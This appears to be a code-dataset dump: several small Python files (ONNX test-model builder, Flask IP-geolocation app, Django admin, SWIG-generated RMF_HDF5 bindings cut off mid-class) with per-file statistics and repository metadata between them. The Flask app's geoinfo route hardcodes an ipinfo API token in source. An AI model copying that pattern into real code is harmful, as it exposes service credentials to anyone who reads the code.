["SubgraphRoot"], ["shape2_out"], "shape2"), helper.make_node("Slice", ["shape2_out", "slice_starts", "slice_ends"], ["slice_out"], "slice1"), helper.make_node("Pad", ["slice_out", "pads"], ["pad0_out"], "pad0", mode = "constant"), helper.make_node("Concat", ["unsqueeze0_out", "unsqueeze1_out", "pad0_out"], ["concat_out"], "concat", axis=0), helper.make_node("Reshape", ["SubgraphRoot", "concat_out"], ["Result"], "reshape"), ], "Reshape_Fusion", #name [ # inputs helper.make_tensor_value_info('SubgraphRoot', TensorProto.FLOAT, [10, 20, 30]), ], [ # outputs helper.make_tensor_value_info('Result', TensorProto.FLOAT, [10, 20, 'unk']) ], [ # initializers helper.make_tensor('indices0', TensorProto.INT64, [], [0]), helper.make_tensor('indices1', TensorProto.INT64, [], [1]), helper.make_tensor('pads', TensorProto.INT64, [2], [1, 0]), helper.make_tensor('slice_starts', TensorProto.INT64, [1], [2]), helper.make_tensor('slice_ends', TensorProto.INT64, [1], [3]) ] ) save_model(graph, 'reshape_fusion_concat_subgraph_not_triggered.onnx')
47.380623
137
0.623749
1,554
13,693
5.217503
0.061776
0.171436
0.124322
0.074001
0.905155
0.894919
0.877528
0.865442
0.844228
0.838925
0
0.040758
0.175783
13,693
289
138
47.380623
0.677654
0.027678
0
0.572549
0
0
0.311595
0.034982
0
0
0
0
0
1
0.003922
false
0
0.011765
0
0.015686
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
616bdccba2a2a18611725ba46a6652f3f9018c67
37
py
Python
AutoBiller/__init__.py
JYudelson1/AutoBiller
bc1333a7a031d1f4e182edd25e52e1e4642f98aa
[ "MIT" ]
1
2021-01-31T22:49:00.000Z
2021-01-31T22:49:00.000Z
AutoBiller/__init__.py
JYudelson1/AutoBiller
bc1333a7a031d1f4e182edd25e52e1e4642f98aa
[ "MIT" ]
null
null
null
AutoBiller/__init__.py
JYudelson1/AutoBiller
bc1333a7a031d1f4e182edd25e52e1e4642f98aa
[ "MIT" ]
null
null
null
from AutoBiller.__main__ import main
18.5
36
0.864865
5
37
5.6
0.8
0
0
0
0
0
0
0
0
0
0
0
0.108108
37
1
37
37
0.848485
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
61ca5ecea4799427c13595546efda3629ddf2429
1,472
py
Python
commonutils/path_utils.py
rupakc/DriftGAN
acd2ebbed96d0b4d3ede38b01d7d6620f9b0f426
[ "Apache-2.0" ]
null
null
null
commonutils/path_utils.py
rupakc/DriftGAN
acd2ebbed96d0b4d3ede38b01d7d6620f9b0f426
[ "Apache-2.0" ]
null
null
null
commonutils/path_utils.py
rupakc/DriftGAN
acd2ebbed96d0b4d3ede38b01d7d6620f9b0f426
[ "Apache-2.0" ]
null
null
null
import os from constants import commonconstants def get_downstream_baseline_model_path_from_datafile_path(data_file_path): data_filename_with_extension = data_file_path.rsplit(os.path.sep, 1)[1] data_filename_without_extension = data_filename_with_extension.replace(commonconstants.DEFAULT_TRAINING_DATA_FILE_EXTENSION,'') data_filename = data_filename_without_extension.rsplit('_', 1)[0] trained_model_name_list = os.listdir(commonconstants.TRAINED_MODEL_SAVE_FOLDER_PATH) for trained_model_name in trained_model_name_list: if trained_model_name.find(data_filename) != -1: return os.path.join(commonconstants.TRAINED_MODEL_SAVE_FOLDER_PATH, trained_model_name) return None def get_correction_model_path_from_datafile_path(data_file_path,correction_model_type): data_filename_with_extension = data_file_path.rsplit(os.path.sep, 1)[1] data_filename_without_extension = data_filename_with_extension.replace( commonconstants.DEFAULT_TRAINING_DATA_FILE_EXTENSION, '') data_filename = data_filename_without_extension.rsplit('_', 1)[0] trained_model_name_list = os.listdir(commonconstants.TRAINED_MODEL_SAVE_FOLDER_PATH) for trained_model_name in trained_model_name_list: if trained_model_name.find(data_filename) != -1 and trained_model_name.find(correction_model_type) != -1: return os.path.join(commonconstants.TRAINED_MODEL_SAVE_FOLDER_PATH, trained_model_name) return None
56.615385
131
0.814538
203
1,472
5.389163
0.20197
0.164534
0.160878
0.091408
0.869287
0.869287
0.869287
0.869287
0.801645
0.801645
0
0.008449
0.115489
1,472
25
132
58.88
0.831797
0
0
0.571429
0
0
0.001359
0
0
0
0
0
0
1
0.095238
false
0
0.095238
0
0.380952
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
f61ddf2d884754a35d227dceb1ba5269fdac3ffa
5,119
py
Python
app.py
gabrielpaues/geoinfo-final
87c6e310ed47a75b5b55aa3a345b8f0d86456d9e
[ "Apache-2.0" ]
null
null
null
app.py
gabrielpaues/geoinfo-final
87c6e310ed47a75b5b55aa3a345b8f0d86456d9e
[ "Apache-2.0" ]
null
null
null
app.py
gabrielpaues/geoinfo-final
87c6e310ed47a75b5b55aa3a345b8f0d86456d9e
[ "Apache-2.0" ]
null
null
null
# -- coding: utf-8 -- from flask import Flask, render_template import ipinfo import os import socket import plotly import plotly.plotly as py import plotly.graph_objs as go import sys import json import urllib import re import plotvars reload(sys) sys.setdefaultencoding('utf8') app = Flask(__name__) app.debug=1 @app.route('/plot/') def draw_plotly(): #Get hold of the current IP address where the container is running url = "http://checkip.dyndns.org" request = urllib.urlopen(url).read() match = re.findall(ur"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", request) ipa=match[0] #Mapbox and Plotly stuff mapbox_access_token = plotvars.mapbox_access_token plotly.tools.set_credentials_file(username=plotvars.plotly_username, api_key=plotvars.plotly_apikey) #ipinfo stuff access_token = plotvars.ipinfo_access_token handler = ipinfo.getHandler(access_token) ip_address = ipa.encode('utf-8') details = handler.getDetails(ip_address) latitude = details.latitude longitude = details.longitude graphs = [ dict( data = [ go.Scattermapbox( lat=[latitude], lon=[longitude], mode='markers', marker=dict( size=30, color='rgb(250, 105, 15)' ), text=['Current IP Location'], ) ], layout = go.Layout( autosize=True, hovermode='closest', paper_bgcolor='rgba(0,0,0,0)', plot_bgcolor='rgba(0,0,0,0)', mapbox=dict( accesstoken=mapbox_access_token, bearing=0, center=dict( lat=int(round(float(latitude))), lon=int(round(float(longitude))) ), pitch=0, zoom=5 ), ) ) ] # Add "ids" to each of the graphs to pass up to the client # for templating ids = ['Container position' for i, _ in enumerate(graphs)] # Convert the figures to JSON # PlotlyJSONEncoder appropriately converts pandas, datetime, etc # objects to their JSON equivalents graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder) return render_template('plotly.html', ids=ids, graphJSON=graphJSON) @app.route('/plotip/<ipaddress>') def draw_ip(ipaddress): #Mapbox and Plotly stuff mapbox_access_token = plotvars.mapbox_access_token plotly.tools.set_credentials_file(username=plotvars.plotly_username, api_key=plotvars.plotly_apikey) #ipinfo stuff access_token = plotvars.ipinfo_access_token handler = ipinfo.getHandler(access_token) ip_address = ipaddress.encode('utf-8') details = handler.getDetails(ip_address) latitude = details.latitude longitude = details.longitude graphs = [ dict( data = [ go.Scattermapbox( lat=[latitude], lon=[longitude], mode='markers', marker=dict( size=30, color='rgb(250, 105, 15)' ), text=['Current IP Location'], ) ], layout = go.Layout( autosize=True, hovermode='closest', paper_bgcolor='rgba(0,0,0,0)', plot_bgcolor='rgba(0,0,0,0)', mapbox=dict( accesstoken=mapbox_access_token, bearing=0, center=dict( lat=int(round(float(latitude))), lon=int(round(float(longitude))) ), pitch=0, zoom=5 ), ) ) ] # Add "ids" to each of the graphs to pass up to the client # for templating ids = ['Container position' for i, _ in enumerate(graphs)] # Convert the figures to JSON # PlotlyJSONEncoder appropriately converts pandas, datetime, etc # objects to their JSON equivalents graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder) return render_template('plotly.html', ids=ids, graphJSON=graphJSON) @app.route('/geoinfo/<ipa>') def geoinfo(ipa): access_token = '8686afa12f5a73' handler = ipinfo.getHandler(access_token) ip_address = ipa.encode('utf-8') details = handler.getDetails(ip_address) city = details.city.encode('utf-8') latitude = details.latitude longitude = details.longitude return render_template('geoinfo.html',ip_address=ip_address, city=city.encode('utf-8'), latitude=latitude, longitude=longitude) @app.route('/ipaddress/') def ipaddress(): url = "http://checkip.dyndns.org" request = urllib.urlopen(url).read() ip_address = re.findall(ur"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", request) return ip_address[0] if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
28.920904
131
0.572182
574
5,119
4.986063
0.271777
0.010482
0.010482
0.008386
0.790356
0.777778
0.761006
0.761006
0.761006
0.761006
0
0.023714
0.316273
5,119
176
132
29.085227
0.794
0.107052
0
0.671875
0
0.015625
0.100154
0.016692
0
0
0
0
0
0
null
null
0
0.09375
null
null
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
6
f640dc31b8d977a86ca940e198b6bde60873984b
197
py
Python
twitter/admin.py
marcincdev/twitter
ec1a2dee24d89372caf0a1b334aad2693e3ca3bf
[ "MIT" ]
null
null
null
twitter/admin.py
marcincdev/twitter
ec1a2dee24d89372caf0a1b334aad2693e3ca3bf
[ "MIT" ]
null
null
null
twitter/admin.py
marcincdev/twitter
ec1a2dee24d89372caf0a1b334aad2693e3ca3bf
[ "MIT" ]
null
null
null
from django.contrib import admin # Register your models here. from twitter import models admin.site.register(models.Tweet) admin.site.register(models.Comment) admin.site.register(models.Message)
21.888889
35
0.817259
28
197
5.75
0.5
0.167702
0.31677
0.428571
0
0
0
0
0
0
0
0
0.091371
197
8
36
24.625
0.899441
0.13198
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.4
0
0.4
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
f65eebf9063244d1f9d03a3fdf54ea7e6a969d0f
326
py
Python
navigation_vis/AbstractView.py
yrevar/NavigationGridViews
a265567d5c6fee97920713522382bc9835f88f5d
[ "Apache-2.0" ]
3
2020-05-02T16:38:52.000Z
2021-02-23T04:22:13.000Z
navigation_vis/AbstractView.py
yrevar/navigation_vis
af2143388cb9a61a9be836c12a2d57ed24a78705
[ "Apache-2.0" ]
null
null
null
navigation_vis/AbstractView.py
yrevar/navigation_vis
af2143388cb9a61a9be836c12a2d57ed24a78705
[ "Apache-2.0" ]
null
null
null
class AbstractView: def update_data(self, data): raise NotImplementedError def add_trajectory(self, trajectory): raise NotImplementedError def add_trajectories(self, trajectories): raise NotImplementedError def render(self): raise NotImplementedError
25.076923
45
0.656442
28
326
7.535714
0.428571
0.454976
0.383886
0.28436
0
0
0
0
0
0
0
0
0.294479
326
13
46
25.076923
0.917391
0
0
0.444444
0
0
0
0
0
0
0
0
0
1
0.444444
false
0
0
0
0.555556
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
6
f66629647be9c2941205ccfdb88a823b9f383a56
205
py
Python
tests/test_euclidean.py
f4str/number-theory-toolkit
6d379f1903bc9ce4c43dda64ccb1590ef55d215d
[ "MIT" ]
null
null
null
tests/test_euclidean.py
f4str/number-theory-toolkit
6d379f1903bc9ce4c43dda64ccb1590ef55d215d
[ "MIT" ]
6
2021-06-30T03:35:54.000Z
2021-09-02T06:11:33.000Z
tests/test_euclidean.py
f4str/number-theory-toolkit
6d379f1903bc9ce4c43dda64ccb1590ef55d215d
[ "MIT" ]
null
null
null
from number_theory_toolkit import bezout_coefficients, euclidean_algorithm def test_euclidean(): assert euclidean_algorithm(7245, 4784) == 23 assert bezout_coefficients(951, 456) == (-35, 73, 3)
29.285714
74
0.765854
26
205
5.769231
0.769231
0.24
0
0
0
0
0
0
0
0
0
0.119318
0.141463
205
6
75
34.166667
0.732955
0
0
0
0
0
0
0
0
0
0
0
0.5
1
0.25
true
0
0.25
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
1
0
0
0
0
0
0
6
f66c18134e9e04b3a6d8622493cd96817b4865fc
86
py
Python
sendKey.py
guibperes/remote-slide-controller
41a54a73a0d8e008c32e5f08493ae479fb21a166
[ "MIT" ]
null
null
null
sendKey.py
guibperes/remote-slide-controller
41a54a73a0d8e008c32e5f08493ae479fb21a166
[ "MIT" ]
null
null
null
sendKey.py
guibperes/remote-slide-controller
41a54a73a0d8e008c32e5f08493ae479fb21a166
[ "MIT" ]
null
null
null
import keyboard import sys keyboard.press(sys.argv[1]) keyboard.release(sys.argv[1])
14.333333
29
0.77907
14
86
4.785714
0.5
0.208955
0.238806
0
0
0
0
0
0
0
0
0.025316
0.081395
86
5
30
17.2
0.822785
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
f67ba8903d2c7f534bd806569a375e1dfac7b59e
166
py
Python
trampill_backend/utils/routine.py
trampill-backend/trampill-backend
0cf98414d3ecd489657de42cb91431e8bfae945c
[ "MIT" ]
2
2020-03-04T19:03:55.000Z
2020-03-08T09:10:21.000Z
trampill_backend/utils/routine.py
trampill-backend/trampill-backend
0cf98414d3ecd489657de42cb91431e8bfae945c
[ "MIT" ]
null
null
null
trampill_backend/utils/routine.py
trampill-backend/trampill-backend
0cf98414d3ecd489657de42cb91431e8bfae945c
[ "MIT" ]
1
2020-03-08T10:54:10.000Z
2020-03-08T10:54:10.000Z
from django.contrib.auth import get_user_model User = get_user_model() def is_member(user: User, member: str): return user.groups.filter(name=member).exists()
20.75
51
0.759036
26
166
4.653846
0.653846
0.115702
0.198347
0
0
0
0
0
0
0
0
0
0.126506
166
7
52
23.714286
0.834483
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0.25
0.75
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
9c8bf7d8be4bd2d3b134f2363e4c68a5dfd51cf2
78
py
Python
google_translate_api_python/__init__.py
Ljqiii/google_translate_api_python
b5cb19e93048ce4be5cb685e59f66777f20582dc
[ "Apache-2.0" ]
1
2019-09-01T12:31:30.000Z
2019-09-01T12:31:30.000Z
google_translate_api_python/__init__.py
Ljqiii/Google-Translate-api-python
b5cb19e93048ce4be5cb685e59f66777f20582dc
[ "Apache-2.0" ]
null
null
null
google_translate_api_python/__init__.py
Ljqiii/Google-Translate-api-python
b5cb19e93048ce4be5cb685e59f66777f20582dc
[ "Apache-2.0" ]
null
null
null
from . import GoogleTranslate GoogleTranslate=GoogleTranslate.GoogleTranslate
26
47
0.897436
6
78
11.666667
0.5
1.285714
1.285714
0
0
0
0
0
0
0
0
0
0.064103
78
2
48
39
0.958904
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
1
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
6
9caa54d734abc1732bc0e2e894f98336a42c1c5d
292,920
py
Python
src/mac/RMF_HDF5.py
salilab/rmf_chimerax
c744866f3bc8777a9aae56d9eee5bf2b0fce3419
[ "MIT" ]
null
null
null
src/mac/RMF_HDF5.py
salilab/rmf_chimerax
c744866f3bc8777a9aae56d9eee5bf2b0fce3419
[ "MIT" ]
null
null
null
src/mac/RMF_HDF5.py
salilab/rmf_chimerax
c744866f3bc8777a9aae56d9eee5bf2b0fce3419
[ "MIT" ]
null
null
null
# This file was automatically generated by SWIG (http://www.swig.org). # Version 4.0.1 # # Do not make changes to this file unless you know what you are doing--modify # the SWIG interface file instead. from sys import version_info as _swig_python_version_info if _swig_python_version_info < (2, 7, 0): raise RuntimeError("Python 2.7 or later required") # Import the low-level C/C++ module if __package__ or "." in __name__: from . import _RMF_HDF5 else: import _RMF_HDF5 try: import builtins as __builtin__ except ImportError: import __builtin__ def _swig_repr(self): try: strthis = "proxy of " + self.this.__repr__() except __builtin__.Exception: strthis = "" return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,) def _swig_setattr_nondynamic_instance_variable(set): def set_instance_attr(self, name, value): if name == "thisown": self.this.own(value) elif name == "this": set(self, name, value) elif hasattr(self, name) and isinstance(getattr(type(self), name), property): set(self, name, value) else: raise AttributeError("You cannot add instance attributes to %s" % self) return set_instance_attr def _swig_setattr_nondynamic_class_variable(set): def set_class_attr(cls, name, value): if hasattr(cls, name) and not isinstance(getattr(cls, name), property): set(cls, name, value) else: raise AttributeError("You cannot add class attributes to %s" % cls) return set_class_attr def _swig_add_metaclass(metaclass): """Class decorator for adding a metaclass to a SWIG wrapped class - a slimmed down version of six.add_metaclass""" def wrapper(cls): return metaclass(cls.__name__, cls.__bases__, cls.__dict__.copy()) return wrapper class _SwigNonDynamicMeta(type): """Meta class to enforce nondynamic attributes (no new attributes) for a class""" __setattr__ = _swig_setattr_nondynamic_class_variable(type.__setattr__) class RMF_HDF5_SwigPyIterator(object): r"""Proxy of C++ swig::RMF_HDF5_SwigPyIterator class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined - class is abstract") __repr__ = _swig_repr __swig_destroy__ = _RMF_HDF5.delete_RMF_HDF5_SwigPyIterator def value(self): r"""value(RMF_HDF5_SwigPyIterator self) -> PyObject *""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator_value(self) def incr(self, n=1): r"""incr(RMF_HDF5_SwigPyIterator self, size_t n=1) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator_incr(self, n) def decr(self, n=1): r"""decr(RMF_HDF5_SwigPyIterator self, size_t n=1) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator_decr(self, n) def distance(self, x): r"""distance(RMF_HDF5_SwigPyIterator self, RMF_HDF5_SwigPyIterator x) -> ptrdiff_t""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator_distance(self, x) def equal(self, x): r"""equal(RMF_HDF5_SwigPyIterator self, RMF_HDF5_SwigPyIterator x) -> bool""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator_equal(self, x) def copy(self): r"""copy(RMF_HDF5_SwigPyIterator self) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator_copy(self) def next(self): r"""next(RMF_HDF5_SwigPyIterator self) -> PyObject *""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator_next(self) def __next__(self): r"""__next__(RMF_HDF5_SwigPyIterator self) -> PyObject *""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator___next__(self) def previous(self): r"""previous(RMF_HDF5_SwigPyIterator self) -> PyObject *""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator_previous(self) def advance(self, n): r"""advance(RMF_HDF5_SwigPyIterator self, ptrdiff_t n) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator_advance(self, n) def __eq__(self, x): r"""__eq__(RMF_HDF5_SwigPyIterator self, RMF_HDF5_SwigPyIterator x) -> bool""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator___eq__(self, x) def __ne__(self, x): r"""__ne__(RMF_HDF5_SwigPyIterator self, RMF_HDF5_SwigPyIterator x) -> bool""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator___ne__(self, x) def __iadd__(self, n): r"""__iadd__(RMF_HDF5_SwigPyIterator self, ptrdiff_t n) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator___iadd__(self, n) def __isub__(self, n): r"""__isub__(RMF_HDF5_SwigPyIterator self, ptrdiff_t n) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator___isub__(self, n) def __add__(self, n): r"""__add__(RMF_HDF5_SwigPyIterator self, ptrdiff_t n) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.RMF_HDF5_SwigPyIterator___add__(self, n) def __sub__(self, *args): r""" __sub__(RMF_HDF5_SwigPyIterator self, ptrdiff_t n) -> RMF_HDF5_SwigPyIterator __sub__(RMF_HDF5_SwigPyIterator self, RMF_HDF5_SwigPyIterator x) -> ptrdiff_t """ return _RMF_HDF5.RMF_HDF5_SwigPyIterator___sub__(self, *args) def __iter__(self): return self # Register RMF_HDF5_SwigPyIterator in _RMF_HDF5: _RMF_HDF5.RMF_HDF5_SwigPyIterator_swigregister(RMF_HDF5_SwigPyIterator) RMF_VERSION_MAJOR = _RMF_HDF5.RMF_VERSION_MAJOR RMF_VERSION_MINOR = _RMF_HDF5.RMF_VERSION_MINOR RMF_HAS_LOG4CXX = _RMF_HDF5.RMF_HAS_LOG4CXX RMF_HAS_DEPRECATED_BACKENDS = _RMF_HDF5.RMF_HAS_DEPRECATED_BACKENDS RMF_COMPILER_HAS_OVERRIDE = _RMF_HDF5.RMF_COMPILER_HAS_OVERRIDE RMF_COMPILER_HAS_FINAL = _RMF_HDF5.RMF_COMPILER_HAS_FINAL RMF_HAS_NOEXCEPT = _RMF_HDF5.RMF_HAS_NOEXCEPT _types_list=[] def get_data_types(): return _types_list class Ints(object): r"""Proxy of C++ std::vector< int > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def iterator(self): r"""iterator(Ints self) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.Ints_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): r"""__nonzero__(Ints self) -> bool""" return _RMF_HDF5.Ints___nonzero__(self) def __bool__(self): r"""__bool__(Ints self) -> bool""" return _RMF_HDF5.Ints___bool__(self) def __len__(self): r"""__len__(Ints self) -> std::vector< int >::size_type""" return _RMF_HDF5.Ints___len__(self) def __getslice__(self, i, j): r"""__getslice__(Ints self, std::vector< int >::difference_type i, std::vector< int >::difference_type j) -> Ints""" return _RMF_HDF5.Ints___getslice__(self, i, j) def __setslice__(self, *args): r""" __setslice__(Ints self, std::vector< int >::difference_type i, std::vector< int >::difference_type j) __setslice__(Ints self, std::vector< int >::difference_type i, std::vector< int >::difference_type j, Ints v) """ return _RMF_HDF5.Ints___setslice__(self, *args) def __delslice__(self, i, j): r"""__delslice__(Ints self, std::vector< int >::difference_type i, std::vector< int >::difference_type j)""" return _RMF_HDF5.Ints___delslice__(self, i, j) def __delitem__(self, *args): r""" __delitem__(Ints self, std::vector< int >::difference_type i) __delitem__(Ints self, PySliceObject * slice) """ return _RMF_HDF5.Ints___delitem__(self, *args) def __getitem__(self, *args): r""" __getitem__(Ints self, PySliceObject * slice) -> Ints __getitem__(Ints self, std::vector< int >::difference_type i) -> std::vector< int >::value_type const & """ return _RMF_HDF5.Ints___getitem__(self, *args) def __setitem__(self, *args): r""" __setitem__(Ints self, PySliceObject * slice, Ints v) __setitem__(Ints self, PySliceObject * slice) __setitem__(Ints self, std::vector< int >::difference_type i, std::vector< int >::value_type const & x) """ return _RMF_HDF5.Ints___setitem__(self, *args) def pop(self): r"""pop(Ints self) -> std::vector< int >::value_type""" return _RMF_HDF5.Ints_pop(self) def append(self, x): r"""append(Ints self, std::vector< int >::value_type const & x)""" return _RMF_HDF5.Ints_append(self, x) def empty(self): r"""empty(Ints self) -> bool""" return _RMF_HDF5.Ints_empty(self) def size(self): r"""size(Ints self) -> std::vector< int >::size_type""" return _RMF_HDF5.Ints_size(self) def swap(self, v): r"""swap(Ints self, Ints v)""" return _RMF_HDF5.Ints_swap(self, v) def begin(self): r"""begin(Ints self) -> std::vector< int >::iterator""" return _RMF_HDF5.Ints_begin(self) def end(self): r"""end(Ints self) -> std::vector< int >::iterator""" return _RMF_HDF5.Ints_end(self) def rbegin(self): r"""rbegin(Ints self) -> std::vector< int >::reverse_iterator""" return _RMF_HDF5.Ints_rbegin(self) def rend(self): r"""rend(Ints self) -> std::vector< int >::reverse_iterator""" return _RMF_HDF5.Ints_rend(self) def clear(self): r"""clear(Ints self)""" return _RMF_HDF5.Ints_clear(self) def get_allocator(self): r"""get_allocator(Ints self) -> std::vector< int >::allocator_type""" return _RMF_HDF5.Ints_get_allocator(self) def pop_back(self): r"""pop_back(Ints self)""" return _RMF_HDF5.Ints_pop_back(self) def erase(self, *args): r""" erase(Ints self, std::vector< int >::iterator pos) -> std::vector< int >::iterator erase(Ints self, std::vector< int >::iterator first, std::vector< int >::iterator last) -> std::vector< int >::iterator """ return _RMF_HDF5.Ints_erase(self, *args) def __init__(self, *args): r""" __init__(Ints self) -> Ints __init__(Ints self, Ints other) -> Ints __init__(Ints self, std::vector< int >::size_type size) -> Ints __init__(Ints self, std::vector< int >::size_type size, std::vector< int >::value_type const & value) -> Ints """ _RMF_HDF5.Ints_swiginit(self, _RMF_HDF5.new_Ints(*args)) def push_back(self, x): r"""push_back(Ints self, std::vector< int >::value_type const & x)""" return _RMF_HDF5.Ints_push_back(self, x) def front(self): r"""front(Ints self) -> std::vector< int >::value_type const &""" return _RMF_HDF5.Ints_front(self) def back(self): r"""back(Ints self) -> std::vector< int >::value_type const &""" return _RMF_HDF5.Ints_back(self) def assign(self, n, x): r"""assign(Ints self, std::vector< int >::size_type n, std::vector< int >::value_type const & x)""" return _RMF_HDF5.Ints_assign(self, n, x) def resize(self, *args): r""" resize(Ints self, std::vector< int >::size_type new_size) resize(Ints self, std::vector< int >::size_type new_size, std::vector< int >::value_type const & x) """ return _RMF_HDF5.Ints_resize(self, *args) def insert(self, *args): r""" insert(Ints self, std::vector< int >::iterator pos, std::vector< int >::value_type const & x) -> std::vector< int >::iterator insert(Ints self, std::vector< int >::iterator pos, std::vector< int >::size_type n, std::vector< int >::value_type const & x) """ return _RMF_HDF5.Ints_insert(self, *args) def reserve(self, n): r"""reserve(Ints self, std::vector< int >::size_type n)""" return _RMF_HDF5.Ints_reserve(self, n) def capacity(self): r"""capacity(Ints self) -> std::vector< int >::size_type""" return _RMF_HDF5.Ints_capacity(self) __swig_destroy__ = _RMF_HDF5.delete_Ints # Register Ints in _RMF_HDF5: _RMF_HDF5.Ints_swigregister(Ints) class Floats(object): r"""Proxy of C++ std::vector< float > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def iterator(self): r"""iterator(Floats self) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.Floats_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): r"""__nonzero__(Floats self) -> bool""" return _RMF_HDF5.Floats___nonzero__(self) def __bool__(self): r"""__bool__(Floats self) -> bool""" return _RMF_HDF5.Floats___bool__(self) def __len__(self): r"""__len__(Floats self) -> std::vector< float >::size_type""" return _RMF_HDF5.Floats___len__(self) def __getslice__(self, i, j): r"""__getslice__(Floats self, std::vector< float >::difference_type i, std::vector< float >::difference_type j) -> Floats""" return _RMF_HDF5.Floats___getslice__(self, i, j) def __setslice__(self, *args): r""" __setslice__(Floats self, std::vector< float >::difference_type i, std::vector< float >::difference_type j) __setslice__(Floats self, std::vector< float >::difference_type i, std::vector< float >::difference_type j, Floats v) """ return _RMF_HDF5.Floats___setslice__(self, *args) def __delslice__(self, i, j): r"""__delslice__(Floats self, std::vector< float >::difference_type i, std::vector< float >::difference_type j)""" return _RMF_HDF5.Floats___delslice__(self, i, j) def __delitem__(self, *args): r""" __delitem__(Floats self, std::vector< float >::difference_type i) __delitem__(Floats self, PySliceObject * slice) """ return _RMF_HDF5.Floats___delitem__(self, *args) def __getitem__(self, *args): r""" __getitem__(Floats self, PySliceObject * slice) -> Floats __getitem__(Floats self, std::vector< float >::difference_type i) -> std::vector< float >::value_type const & """ return _RMF_HDF5.Floats___getitem__(self, *args) def __setitem__(self, *args): r""" __setitem__(Floats self, PySliceObject * slice, Floats v) __setitem__(Floats self, PySliceObject * slice) __setitem__(Floats self, std::vector< float >::difference_type i, std::vector< float >::value_type const & x) """ return _RMF_HDF5.Floats___setitem__(self, *args) def pop(self): r"""pop(Floats self) -> std::vector< float >::value_type""" return _RMF_HDF5.Floats_pop(self) def append(self, x): r"""append(Floats self, std::vector< float >::value_type const & x)""" return _RMF_HDF5.Floats_append(self, x) def empty(self): r"""empty(Floats self) -> bool""" return _RMF_HDF5.Floats_empty(self) def size(self): r"""size(Floats self) -> std::vector< float >::size_type""" return _RMF_HDF5.Floats_size(self) def swap(self, v): r"""swap(Floats self, Floats v)""" return _RMF_HDF5.Floats_swap(self, v) def begin(self): r"""begin(Floats self) -> std::vector< float >::iterator""" return _RMF_HDF5.Floats_begin(self) def end(self): r"""end(Floats self) -> std::vector< float >::iterator""" return _RMF_HDF5.Floats_end(self) def rbegin(self): r"""rbegin(Floats self) -> std::vector< float >::reverse_iterator""" return _RMF_HDF5.Floats_rbegin(self) def rend(self): r"""rend(Floats self) -> std::vector< float >::reverse_iterator""" return _RMF_HDF5.Floats_rend(self) def clear(self): r"""clear(Floats self)""" return _RMF_HDF5.Floats_clear(self) def get_allocator(self): r"""get_allocator(Floats self) -> std::vector< float >::allocator_type""" return _RMF_HDF5.Floats_get_allocator(self) 